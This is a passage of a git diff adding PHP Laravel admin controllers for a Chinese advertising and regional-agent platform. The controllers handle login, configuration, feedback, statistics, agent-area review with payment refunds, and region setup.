+                if($rr){
+                    return showJsonErr('抱歉,活动时间重叠');
+                }
+            }
+        }
+        /*
+        if (AdverActivity::whereBetween('start_time', [$param['start_time'], $param['end_time']])->exists()) {
+            return showJsonErr('抱歉,活动时间重叠');
+        }
+        if (AdverActivity::whereBetween('end_time', [$param['start_time'], $param['end_time']])->exists()) {
+            return showJsonErr('抱歉,活动时间重叠!');
+        }*/
+
+        $id = AdverActivity::insertGetId($param);
+        if (empty($id)) {
+            return showJsonErr('抱歉,添加活动失败');
+        }
+        return showJsonSucc('添加活动成功', AdverActivity::find($id));
+    }
+
+    /*时间段交集*/
+    function isTimeCross($beginTime1=0, $endTime1=0, $beginTime2=0, $endTime2=0) {
+        $status = $beginTime2 - $beginTime1;
+        if($status > 0){
+            $status2 = $beginTime2 - $endTime1;
+            if($status2 >= 0){
+                return false; // 无交集
+            }else{
+                return true; // 有交集
+            }
+        }else{
+            $status2 = $endTime2 - $beginTime1;
+            if($status2 > 0){
+                return true;
+            }else{
+                return false;
+            }
+        }
+    }
+}

Fichier diff supprimé car celui-ci est trop grand
+ 1379 - 0
app/Http/Controllers/Admins/AdverController.php


+ 49 - 0
app/Http/Controllers/Admins/AreaController.php

@@ -0,0 +1,49 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\Area;
+use App\Modes\Proxy;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class AreaController extends Controller
+{
+    /**
+     * 获取地区列表
+     * @author fatty
+     * @date 2018/12/21
+     * @param $id
+     * @description
+     */
+    public function Index($id)
+    {
+        return showJson(101, 1001, [
+            'list' => Area::wherePid($id)->select(['id', 'name', 'code'])->get()
+        ]);
+    }
+    /**
+     * 获取开放地区列表
+     * @author wsl
+     * @date 2018/12/21
+     * @param $id
+     * @description
+     */
+    public function openArea($id)
+    {
+        //先查找已开放和未冻结的区域
+
+        $allowarea=Proxy::whereStatus(1)->select('province','city','district')->get()->toArray();
+        $arr=[];
+        if(!empty($allowarea)){
+            foreach($allowarea as $key=>$value){
+                $arr[]=$value['province'];
+                $arr[]=$value['city'];
+                $arr[]=$value['district'];
+            }
+        }
+        return showJson(101, 1001, [
+            'list' => Area::wherePid($id)->whereIn('id',$arr)->select(['id', 'name', 'code'])->get()
+        ]);
+    }
+}

+ 59 - 0
app/Http/Controllers/Admins/AuthController.php

@@ -0,0 +1,59 @@
+<?php
+/*
+ * @Author: your name
+ * @Date: 2021-04-22 17:20:17
+ * @LastEditTime: 2021-06-21 17:12:26
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \10dsm\app\Http\Controllers\Admins\AuthController.php
+ */
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+use Illuminate\Support\Facades\Auth;
+use Illuminate\Support\Facades\Validator;
+
+class AuthController extends Controller
+{
+
+
+    /**
+     * 登录
+     * @author fatty
+     * @date 2018/12/13
+     * @description
+     */
+    public function login(Request $request)
+    {
+        $validator = Validator::make($param = $request->post(), [
+            'name' => 'required|string|exists:user,mobile',
+            'pass' => 'required|min:6',
+        ]);
+
+        if ($validator->fails()) {
+            return showJson(102, $validator->errors()->first());
+        }
+        $token = Auth::guard(config('permission.guard'))->attempt(['mobile' => $param['name'], 'is_frontend'=>0,'password' => $param['pass']]);
+        if (!$token) {
+           return showJson(102, '账号或密码错误');
+        }
+
+        $user = User::whereMobile($param['name'])->whereIsFrontend(0)->first();
+        if ($user->is_super == 0) {
+            return showJsonErr('抱歉,等级不足,不能登录管理系统');
+        }
+
+        if ($user->status == 2) {
+            return showJson(102, '账号已冻结');
+        }
+
+        return showJson(101, '登录成功', [
+            'accessToken' => $token,
+            'userid'=>$user->id,
+			'mobile'=>$user->mobile
+        ]);
+    }
+}

+ 73 - 0
app/Http/Controllers/Admins/ConfigController.php

@@ -0,0 +1,73 @@
+<?php
+/*
+ * @Author: your name
+ * @Date: 2021-04-22 17:20:17
+ * @LastEditTime: 2021-06-23 12:22:26
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \10dsm\app\Http\Controllers\Admins\ConfigController.php
+ */
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\Config;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ConfigController extends Controller
+{
+    /**
+     * 全局配置
+     * @author lyh
+     * @date 2019/4/15
+     * @description
+     */
+    public function index()
+    {
+        $res = Config::get();
+
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 设置提现额度
+     * @author lyh
+     * @date 2019/4/23
+     * @description
+     */
+    public function setWITHDRAWMIN(Request $request)
+    {
+        if (!is_numeric($request->post('content'))||!is_numeric($request->post('jsday'))) {
+            return showJsonErr('请输入数字');
+        }
+        
+        if (!Config::where('key', '=', 'WITHDRAWMIN')->update(['content' => $request->post('content')])) {
+            return showJsonErr('更新提现额度失败');
+        }
+        
+        if (!Config::where('key', '=', 'JSDAY')->update(['content' => $request->post('jsday')])) {
+            return showJsonErr('更新结算日失败');
+        }
+        return showJsonSucc('更新成功');
+    }
+
+    /**
+     * 获取配置信息
+     * @author lyh
+     * @date 2019/4/24
+     * @param Request $request
+     * @description
+     */
+    public function show(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'key' => 'required|exists:config,key'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $res = Config::getValue($param['key']);
+        return showJsonSucc(1001, $res);
+    }
+}

+ 121 - 0
app/Http/Controllers/Admins/FeedBackController.php

@@ -0,0 +1,121 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\Area;
+use App\Modes\UserMsg;
+use App\Modes\FeedBack;
+use Carbon\Carbon;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class FeedBackController extends Controller
+{
+    /**
+     * 客服服务-反馈列表
+     * @author lyh
+     * @date 2019/4/16
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     * 查询:所在城区(省市区)、代理输入代理手机号/昵称/姓名、查询反馈类型
+     */
+    public function index(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'exists:area,id', // 省
+            'city' => 'exists:area,id', // 市
+            'district' => 'exists:area,id', // 区
+            'word' => 'string|min:3',
+            'feedbackType' => 'exists:feedback,feedback_type'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $feedback = \DB::table('feedback as main')
+            ->join('user as u', 'u.id', '=', 'main.uid')
+            ->select([
+                'u.real_name',
+                'u.nick_name',
+                'u.mobile',
+                'u.province',
+                'u.city',
+                'u.district',
+                'main.*'
+            ])
+            ->orderByDesc('id');
+
+
+        if (!empty($param['province'])) {
+            $feedback->where('province', $param['province']);
+        }
+        if (!empty($param['city'])) {
+            $feedback->where('city', $param['city']);
+        }
+        if (!empty($param['district'])) {
+            $feedback->where('district', $param['district']);
+        }
+
+        // 关键词查询
+        if (!empty($param['word'])) {
+            $feedback->where(\DB::raw("concat(real_name,mobile,nick_name)"), 'like', "%{$param['word']}%");
+        }
+
+        // 广告标题
+        if (!empty($param['feedbackType'])) {
+            $feedback->where('main.feedback_type', 'like', "%{$param['feedbackType']}%");
+        }
+
+        $res = $feedback->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+                $item->area = Area::getArea($item->province, $item->city, $item->district);
+            });
+        }
+
+        return showJsonSucc(1001, $res);
+
+    }
+
+    /**
+     * @author lyh
+     * @date 2019/4/16
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function reply(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|array',
+            'audit_remark' => 'required'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        foreach ($param['id'] as $id) {
+            $feedback = FeedBack::find($id);
+            if (empty($feedback)) {
+                \DB::rollBack();
+                return showJsonErr('抱歉,该反馈记录不存在');
+            }
+            
+            $feedback->audit_remark = $param['audit_remark'];
+            $feedback->audit_uid = \Auth::id();
+            $feedback->audit_at = Carbon::now();
+            $result = $feedback->save();
+
+            if (!$result) {
+                \DB::rollBack();
+                return showJsonErr('处理反馈失败');
+            }
+            UserMsg::SendGetui(['title'=>'反馈回复','uid'=>$feedback->uid,'type'=>6,'content'=>$param['audit_remark']]);
+        }
+
+
+        return showJsonSucc('回复反馈成功');
+
+    }
+}

+ 100 - 0
app/Http/Controllers/Admins/HomeController.php

@@ -0,0 +1,100 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\Advertising;
+use App\Modes\Upgrade;
+use App\Modes\User;
+use App\Modes\UserWithdraw;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class HomeController extends Controller
+{
+    /**
+     * @author lyh
+     * @date 2019/4/3
+     * @modify_author lyh
+     * @modify 2019-4-26 11:18:52-确认已区分系统管理员与地区管理员权限
+     * @description
+     * 当前代理人数(人)
+     * 当前广告业务总笔数(笔)
+     * 今日注册用户数(人)
+     * 当前代理总额(元)
+     * 当前广告业务总额(元)
+     * 2019-4-26 11:18:52 确认已区分系统管理员与地区管理员权限
+     */
+    public function statistics(Request $request)
+    {
+        // 代理人数
+        $user = User::whereIsFrontend(1)->whereIn('level', [6, 7])->where('province', '!=', 0);
+        if (\Auth::user()->is_super == 3) {
+            $user = $user->whereIn('id', getIds());
+        }
+        $userNum = $user->count('id');
+
+        // 当前广告业务总笔数
+        $adver = Advertising::whereIn('status', [3, 9]);
+        if (\Auth::user()->is_super == 3) {
+            $adver = $adver->whereIn('uid', getIds());
+        }
+        $adverNum = $adver->count('id');
+
+        //当前代理总额
+        $upgrade = Upgrade::whereStatus(3);
+        if (\Auth::user()->is_super == 3) {
+            $upgrade = $upgrade->whereIn('uid', getIds());
+        }
+        $proxyNum = $upgrade->sum('money');
+        
+        //当前广告业务总额
+        $adver = Advertising::whereIn('status', [3, 9]);
+        if (\Auth::user()->is_super == 3) {
+            $adver = $adver->whereIn('uid', getIds());
+        }
+        $currentAdver = $adver->sum('total_price');
+
+        return showJsonSucc(1001, [
+            'userNum' => $userNum,
+            'adverNum' => $adverNum,
+            'todayUser' => User::getRegByInToday(), // 今日注册用户数
+            'proxyMoney' => $proxyNum,
+            'currentAdver' => $currentAdver
+        ]);
+    }
+
+    /**
+     * 升级提醒
+     * @author lyh
+     * @date 2019/4/3
+     * @modify_author lyh
+     * @modify 2019-4-26 11:23:14-确认已区分系统管理员与地区管理员权限
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function upgrade()
+    {
+        $where = [
+            ['status', '=', 2]
+        ];
+        $res = Upgrade::getList($where);
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 提现申请记录
+     * @author lyh
+     * @date 2019/4/3
+     * @modify_author lyh
+     * @modify 2019-4-26 11:22:27-确认已区分系统管理员与地区管理员权限
+     * @description
+     */
+    public function withdraw()
+    {
+        $where = [
+            ['uw.status', '=', 0]
+        ];
+        $res = UserWithdraw::getList($where);
+        return showJsonSucc(1001, $res);
+    }
+}

+ 96 - 0
app/Http/Controllers/Admins/IndustryController.php

@@ -0,0 +1,96 @@
+<?php
+/*
+ * @Author: your name
+ * @Date: 2021-04-22 17:20:17
+ * @LastEditTime: 2021-07-21 14:35:56
+ * @LastEditors: Please set LastEditors
+ * @Description: In User Settings Edit
+ * @FilePath: \10dsm\app\Http\Controllers\Admins\IndustryController.php
+ */
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\Industry;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class IndustryController extends Controller
+{
+    public function index(Request $request)
+    {
+        $params=$request->all();
+        if(!isset($params['page'])){
+            $res = Industry::whereStatus(1)->select(['id', 'content', 'type'])->orderBy('id','asc')->get();;
+        }else{
+            $res = Industry::whereStatus(1)->select(['id', 'content', 'type'])->orderBy('id','asc')->paginate(perPage());;
+        }
+        return showJsonSucc('查询成功',$res);
+    }
+
+    //添加类型  2021/7/21
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'content' => 'required',
+            'type' => 'required|numeric|between:1,2'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $result = Industry::whereContent($param['content'])->first();
+
+        if($result){
+            return showJsonErr('分类已存在');  
+        }
+
+        $item = new Industry();
+        $item->content = $param['content'];
+        $item->type = $param['type'];
+        
+        if($item->save()){
+            return showJsonSucc('添加类型成功');
+        }else{
+            return showJsonError('添加类型失败');
+        }
+
+    }
+
+
+    //删除/批量删除  2021/7/21
+    public function delete(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        $ids = explode(',',$param['id']);
+        
+        \DB::beginTransaction();
+        try {
+            foreach ($ids as $id) {
+                //查询数据是否存在
+                $Industry = Industry::whereId($id)->first();
+                if (empty($Industry)) {
+                    return showJsonErr("抱歉,【id:{$id}】不存在");
+                }
+                //修改数据状态
+                $Industry->status = 2;
+                
+                if(!$Industry->save()){
+                    return showJsonErr("抱歉,删除失败");
+                }
+            }
+            \DB::commit();
+            return showJsonSucc('删除成功');
+        } catch (\Exception $e) {
+            \DB::rollBack();
+            return showJsonErr($e->getMessage());
+        }
+    }
+
+    
+
+}

+ 58 - 0
app/Http/Controllers/Admins/ProtocolController.php

@@ -0,0 +1,58 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\Protocol;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ProtocolController extends Controller
+{
+    public function index(Request $request)
+    {
+        /*$validator = \Validator::make($param = $request->all(), [
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }*/
+
+        $res = Protocol::orderByDesc('created_at')
+            ->with(['User' => function ($query) {
+                $query->select(['nick_name', 'id']);
+            }])
+            ->limit(1)->get();
+        return showJsonSucc(1001, $res);
+    }
+
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'title' => 'string|max:255',
+            'content' => 'required',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $param['created_uid'] = \Auth::id();
+        $param['status'] = 1;
+        $protocol = Protocol::first();
+        if (empty($protocol)) {
+            return \DB::transaction(function () use ($param) {
+                // Protocol::whereStatus(1)->update(['status' => 2]);
+                $result = Protocol::insert($param);
+                if (!$result) {
+                    return showJsonErr('添加协议失败');
+                }
+                return showJsonSucc('添加协议成功');
+            });
+        } else {
+            $result = Protocol::whereId($protocol->id)->update($param);
+            if (!$result) {
+                return showJsonErr('修改协议失败');
+            }
+            return showJsonSucc('修改协议成功');
+        }
+        
+    }
+}

+ 251 - 0
app/Http/Controllers/Admins/ProxyAreaController.php

@@ -0,0 +1,251 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AdminArea;
+use App\Modes\Area;
+use App\Modes\AccountLog;
+use App\Modes\MsgTemplate;
+use App\Modes\Order;
+use App\Modes\ProxyArea;
+use App\Modes\User;
+use App\Modes\UserMsg;
+use App\Service\UpgradeService;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ProxyAreaController extends Controller
+{
+    /**
+     * 代理审核列表
+     * @author lyh
+     * @date 2019/4/9
+     * @description
+     * 查询:城区、申请时间、申请人(id,手机号码)
+     * 显示字段:代理ID、手机号、当前所在城区、申请代理城区、申请日期
+     */
+    public function index(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'exists:area,id',
+            'city' => 'exists:area,id',
+            'district' => 'exists:area,id',
+            'work' => 'integer',
+            'startTime' => 'date',
+            'endTime' => 'date',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        // 如果当前管理员是地区管理员
+        if (Admin()->is_super == 3) {
+            if (Admin()->level == 7 && $param['district'] != Admin()->district) {
+                return showJsonErr('抱歉,您不能查看该地区的信息');
+            }
+
+            if (Admin()->level == 8 && $param['city'] != Admin()->city) {
+                return showJsonErr('抱歉,您不能查看该城市的信息');
+            }
+        }
+
+        $user = \DB::table('proxy_area as up')
+            ->join('user as u', 'u.id', '=', 'up.uid')
+            ->select([
+                'up.id',
+                'up.province',
+                'up.city',
+                'up.district',
+                'u.mobile',
+                'up.uid',
+                'up.created_at'
+            ])
+            ->where('up.status', 2)
+            ->orderByDesc('id');
+
+
+        // 如果是地区管理员,则不显示同等级的用户信息
+        if (\Auth::user()->is_super == 3) {
+            $user->where('up.user_level', '<', \Auth::user()->level);
+        }else{
+            //管理员查看对应的代理
+            $district=AdminArea::getAdminArea();
+            if(!empty($district)){
+                if(!empty($district['city'])){
+                    $user->whereCity($district['city']);
+                    if (!empty($param['district'])) {
+                        $user->where('up.district', $param['district']);
+                    }
+                }else{
+                    $user->where('up.district', $district['district']);
+                }
+
+
+            }else{
+                // 地区查询
+                //$user = whereAreaByParam($user, $param);
+                if (!empty($param['province'])) {
+                    $user->where('up.province','=',$param['province']);
+                }
+
+                if (!empty($param['city'])) {
+                    $user->where('up.city','=',$param['city']);
+                }
+
+                if (!empty($param['district'])) {
+                    $user->where('up.district','=',$param['district']);
+                }
+
+            }
+
+        }
+
+
+
+        // 时间查询
+        if (!empty($param['startTime']) && !empty($param['endTime'])) {
+            $user->whereBetween('up.created_at', [$param['startTime'], $param['endTime']]);
+        } else if (!empty($param['endTime']) && empty($param['startTime'])) {
+            $user->where('up.created_at', '<', $param['endTime']);
+        } else if (empty($param['endTime']) && !empty($param['startTime'])) {
+            $user->where('up.created_at', '>', $param['startTime']);
+        }
+
+        // 关键词查询
+        if (!empty($param['word'])) {
+            $user->where(\DB::raw("concat(uid,mobile)"), 'like', "%{$param['word']}%");
+        }
+
+        $res = $user->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+                $item->area = trim(Area::getName($item->province) . ' ' . Area::getName($item->city) . ' ' . Area::getName($item->district));
+                $user = User::find($item->uid);
+                $item->currentArea = Area::getName($user->province) . ' ' . Area::getName($user->city) . ' ' . Area::getName($user->district);
+            });
+        }
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 城区代理审核
+     * @author lyh
+     * @date 2019/4/9
+     * @param Request $request
+     * @description
+     */
+    public function audit(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'ids' => 'required|array',
+            'status' => 'required|integer|in:3,4'
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+        \DB::beginTransaction();
+        try {
+            foreach ($param['ids'] as $id) {
+                $proxyArea = ProxyArea::find($id);
+                
+                if (empty($proxyArea)) {
+                    return showJsonErr("抱歉,【id:{$id}】不存在");
+                }
+                if ($proxyArea->status != 2) {
+                    \DB::rollBack();
+                    return showJsonErr("抱歉,【id:{$id}】不是待审核状态");
+                }
+                $p=Area::whereId($proxyArea->province)->value('name');
+                $c=Area::whereId($proxyArea->city)->value('name');
+                $d=Area::whereId($proxyArea->district)->value('name');
+                //退款操作wsl 20190628
+                if($param['status']==4 && !empty($proxyArea->order_id) && $proxyArea->order_id>0){
+                    $order=Order::where('id','=',$proxyArea->order_id)
+                        ->select('order_no','pay_no','price','pay_type')
+                        ->first();
+                    if(empty($order))return showJsonErr('当前订单数据不完整无法原路退款!');
+
+                    if($order->pay_type==2 && $proxyArea->status!=4){
+                        $pay = \App::make('aliPay');
+                        $r=$pay->getReturnInfo($order->order_no, $order->pay_no,$order->price);
+                        if($r->code==10000){
+                            $remark='您申请的-'.$p.$c.$d.'-代理审核不通过,资金原路退回支付宝';
+                        }
+                    }elseif($order->pay_type==3 && $proxyArea->status!=4){
+                        //微信退款
+                        $pay = \App::make('wechat');
+                        $r=$pay->getReturnInfo($order->order_no, $order->pay_no,$order->price,$order->price);
+                        if($r->return_code=='SUCCESS'){
+                            $remark='您申请的-'.$p.$c.$d.'-代理审核不通过,资金原路退回微信';
+                        }
+
+                    }
+                    AccountLog::saveDataByPost($proxyArea->uid,44,$order->price,User::whereId($proxyArea->uid)->value('balance'),2,1,$remark);
+
+                }
+                
+                // 修改地区状态
+                $result = ProxyArea::whereId($id)->update(['status' => $param['status']]);
+                if (empty($result)) {
+                    \DB::rollBack();
+                    return showJsonErr('审核失败');
+                }
+                
+                $msg_content=MsgTemplate::getTemplateContent(10);
+                $msgarr=['title'=>'区域代理审核通知','uid'=>$proxyArea->uid,'type'=>10,'content'=>$msg_content];
+                if ($param['status'] == 3) {
+                    \DB::enableQueryLog();
+                    // 修改用户代理地区
+                    $result = User::whereId($proxyArea->uid)->update([
+                        // 'province' => $proxyArea->province,
+                        // 'city' => $proxyArea->city,
+                        // 'district' => $proxyArea->district,
+                        'is_apply' => 0
+                    ]);
+
+                    $msg_content=MsgTemplate::getTemplateContent(9);
+                    $msgarr=['title'=>'区域代理审核通知','uid'=>$proxyArea->uid,'type'=>10,'content'=>$msg_content];
+
+                    //分佣
+                    if($proxyArea->order_id != 0){
+                        $order=Order::whereId($proxyArea->order_id)->first();
+                        $payprice=$order->price;
+                        //代理费折合点币
+                        User::conversionCoin($proxyArea->uid,$order['price'],4);
+                        
+                        if(!empty($order['price'])){
+                            $order=$order->toArray();
+                            Order::UserFenYong($order['price'],$order['uid'],$order['type']);
+                        }
+                    }else{
+                        $payprice = 0;
+                    }
+                    
+                    $remark = "用户【id:{$proxyArea->uid}】交费¥{$payprice}申请【".$c.$d."】的区域代理成功";
+                    AccountLog::insert([
+                        'uid' => $proxyArea->uid,
+                        'type' => 8,//升级区域代理
+                        'money_type' => 2,
+                        'money' => -(abs($payprice)),
+                        'current_money' => User::find($proxyArea->uid)->balance,
+                        'remark' => $remark
+                    ]);
+                    // zch 新增累加用户账户统计信息
+                    UpgradeService::incUserAccount($proxyArea->uid,'agent_all_money',abs($payprice));
+                    
+
+                    if ($result != 1) {
+                        \DB::rollBack();
+                        return showJsonErr($id . '-修改地区信息失败');
+                    }
+                }
+                UserMsg::SendGetui($msgarr);
+            }
+            \DB::commit();
+            return showJsonSucc('审核成功');
+        } catch (\Exception $e) {
+            \DB::rollBack();
+            return showJsonErr($e->getMessage());
+        }
+    }
+}

+ 566 - 0
app/Http/Controllers/Admins/ProxyController.php

@@ -0,0 +1,566 @@
+<?php
+
+namespace App\Http\Controllers\Admins;
+
+use App\Modes\AdminArea;
+use App\Modes\Area;
+use App\Modes\Proxy;
+use App\Modes\ProxyInvite;
+use App\Modes\User;
+use Illuminate\Http\Request;
+use App\Http\Controllers\Controller;
+
+class ProxyController extends Controller
+{
+    /**
+     * 开放城区列表
+     * @author lyh
+     * @date 2019/4/15
+     * @description
+     * 显示:省 市 区/县
+     * 超级管理员可查看并操作各开放区域,城区运行商,只可查看并操作所管辖的城区
+     */
+    public function index(Request $request)
+    {
+        $proxy = Proxy::select(['id', 'province', 'city', 'district', 'status','user_level'])
+            ->where('province', '!=', 0)
+            ->where('area_type',3);
+        //管理员查看对应的代理
+        $district=AdminArea::getAdminArea();
+        if(!empty($district)){
+            if(!empty($district['city'])){
+                $proxy->whereCity($district['city']);
+            }else{
+                $proxy->whereDistrict($district['district']);
+            }
+
+        }
+
+        $res=$proxy->groupBy(['province', 'city', 'district'])
+            ->orderByDesc('created_at')
+            ->paginate(perPage());
+        if ($res->isNotEmpty()) {
+            collect($res->items())->each(function ($item, $key) {
+                $item->provinceMsg = Area::getName($item->province);
+                $item->cityMsg = Area::getName($item->city);
+                $item->districtMsg = Area::getName($item->district);
+            });
+        }
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 添加代理区域
+     * @author lyh
+     * @date 2019/4/15
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function add(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'required|exists:area,id',
+            'city' => 'required',
+            'district' => 'required',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        if (\Auth::user()->is_super != 1) {
+            return showJsonErr('抱歉,您没有权限添加代理地区');
+        }
+
+        \DB::enableQueryLog();
+
+        // 区域类型 0-所有区域 1-省 2-市 3-区 4-个人
+        $areaType = 0;
+        if (!empty($param['province'])) {
+            $areaType = 1;
+        }
+        if (!empty($param['city'])) {
+            $areaType = 2;
+        }
+        if (!empty($param['district'])) {
+            $areaType = 3;
+        }
+        $proxy = Proxy::whereProvince($param['province'])->whereCity($param['city'])->whereDistrict($param['district']);
+
+        if ($proxy->exists()) {
+            return showJsonErr('请勿重复添加该地区', $proxy->with('proxyInviteModel')->get());
+        }
+
+        // 获取全局配置
+        $proxyConfig = Proxy::whereAreaType(0)->with('proxyInviteModel')->get();
+
+        if ($proxyConfig->isEmpty()) {
+            return showJsonErr('系统问题,请联系技术添加初始配置');
+        }
+
+        \DB::beginTransaction();
+        try {
+
+            // 添加配置
+            collect($proxyConfig)->each(function ($pc, $pc_key) use ($areaType, $param) {
+                //add by wsl start当前区域的G级代理费统一
+                $apply_money=0;
+                //更改所有属于当前市的G级城市代理金额
+                $curproxy=Proxy::whereProvince($param['province'])->whereCity($param['city'])->whereUserLevel(7)->first();
+                if(!empty($curproxy)&&$pc_key==6){
+                    $apply_money=$curproxy->apply_money;
+                }
+
+
+                //add by wsl end
+                $pc_id = Proxy::insertGetId([
+                    'uid' => 0,
+                    'user_level' => $pc->user_level,
+                    'province' => $param['province'],
+                    'city' => $param['city'],
+                    'district' => $param['district'],
+                    'area_type' => $areaType,//区域类型 0-所有区域 1-省 2-市 3-区 4-个人
+                    'upgrade_money' => $pc->upgrade_money,
+                    'upgrade_business_month' => $pc->upgrade_business_month,
+                    'upgrade_business_year' => $pc->upgrade_business_year,
+                    'upgrade_invite' => $pc->upgrade_invite,
+                    'proxy_invite' => $pc->proxy_invite,
+                    'proxy_invite_global' => $pc->proxy_invite_global,
+                    'adver_invite' => $pc->adver_invite,
+                    'adver_invite_global' => $pc->adver_invite_global,
+                    'money' => $pc->money,
+                    'min_money' => $pc->min_money,
+                    'coin' => $pc->coin,
+                    'apply_money'=>$apply_money
+                ]);
+                collect($pc->proxyInviteModel)->each(function ($pi, $pi_key) use ($pc_id) {
+                    ProxyInvite::insert([
+                        'proxy_id' => $pc_id,
+                        'title' => $pi->title,
+                        'min' => $pi->min,
+                        'max' => $pi->max,
+                        'pct' => $pi->pct,
+                        'type' => $pi->type,
+                        'proxy_type' => $pi->proxy_type,
+                        'position' => $pi->position
+                    ]);
+                });
+            });
+
+            \DB::commit();
+            return showJsonSucc('添加代理地区成功', $proxy->with('proxyInviteModel')->get());
+        } catch (\Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+
+    }
+
+    /**
+     * 修改状态
+     * @author lyh
+     * @date 2019/4/15
+     * @param Request $request
+     * @description
+     * 关闭后,用户将不能申请为该区域的代理(后台假删除)且已申请该城区代理的账号设为冻结状态
+     */
+    public function modifyStatus(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'id' => 'required|exists:proxy,id',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        $proxy = Proxy::whereId($param['id'])->where('area_type', '!=', 0)->first();
+        if (empty($proxy)) {
+            return showJsonErr('该地区不能修改');
+        }
+
+        \DB::beginTransaction();
+        try {
+            $status = $proxy->status == 1 ? 0 : 1;
+            $userStatus = $status == 1 ?: 2;
+            $proxyConfig = Proxy::whereProvince($proxy->province)->whereCity($proxy->city);
+            $user = User::whereProvince($proxy->province)->whereCity($proxy->city);
+
+            if (!empty($proxy->district)) {
+                $user->whereDistrict($proxy->district);
+                $proxyConfig->whereDistrict($proxy->district);
+            }
+
+            // 更改地区设置状态
+            $proxyConfig->update(['status' => $status]);
+            // 更改用户状态
+            $user->update(['status' => $userStatus]);
+
+            \DB::commit();
+            return showJsonSucc('修改地区状态成功');
+        } catch (\Exception $exception) {
+            \DB::rollBack();
+            return showJsonErr($exception->getMessage());
+        }
+    }
+
+    /**
+     * 显示开放地区信息
+     * @author lyh
+     * @date 2019/4/15
+     * @param Request $request
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function show(Request $request)
+    {
+        $validator = \Validator::make($param = $request->all(), [
+            'province' => 'required|exists:area,id',
+            'city' => 'required|exists:area,id',
+            'district' => 'required|integer',
+        ]);
+        if ($validator->fails()) {
+            return showJsonErr($validator->errors()->first());
+        }
+
+        if (\Auth::user()->is_super == 3) {
+            if (\Auth::user()->province != $param['province'] || \Auth::user()->city != $param['city'] || \Auth::user()->district != $param['district']) {
+                return showJsonErr('抱歉,该地区信息您不能修改');
+            }
+        }
+        $res = Proxy::whereProvince($param['province'])->whereCity($param['city'])->whereDistrict($param['district'])->whereUid(0)->with('proxyInviteModel')->get();
+        if (empty($res)) {
+            return showJsonErr('当前地区未开放');
+        }
+        return showJsonSucc(1001, $res);
+    }
+
+    /**
+     * 代理区设置-城区代理设置
+     * @author lyh
+     * @date 2019/4/16
+     * @return \Illuminate\Contracts\Routing\ResponseFactory|\Symfony\Component\HttpFoundation\Response
+     * @description
+     */
+    public function global()
+    {
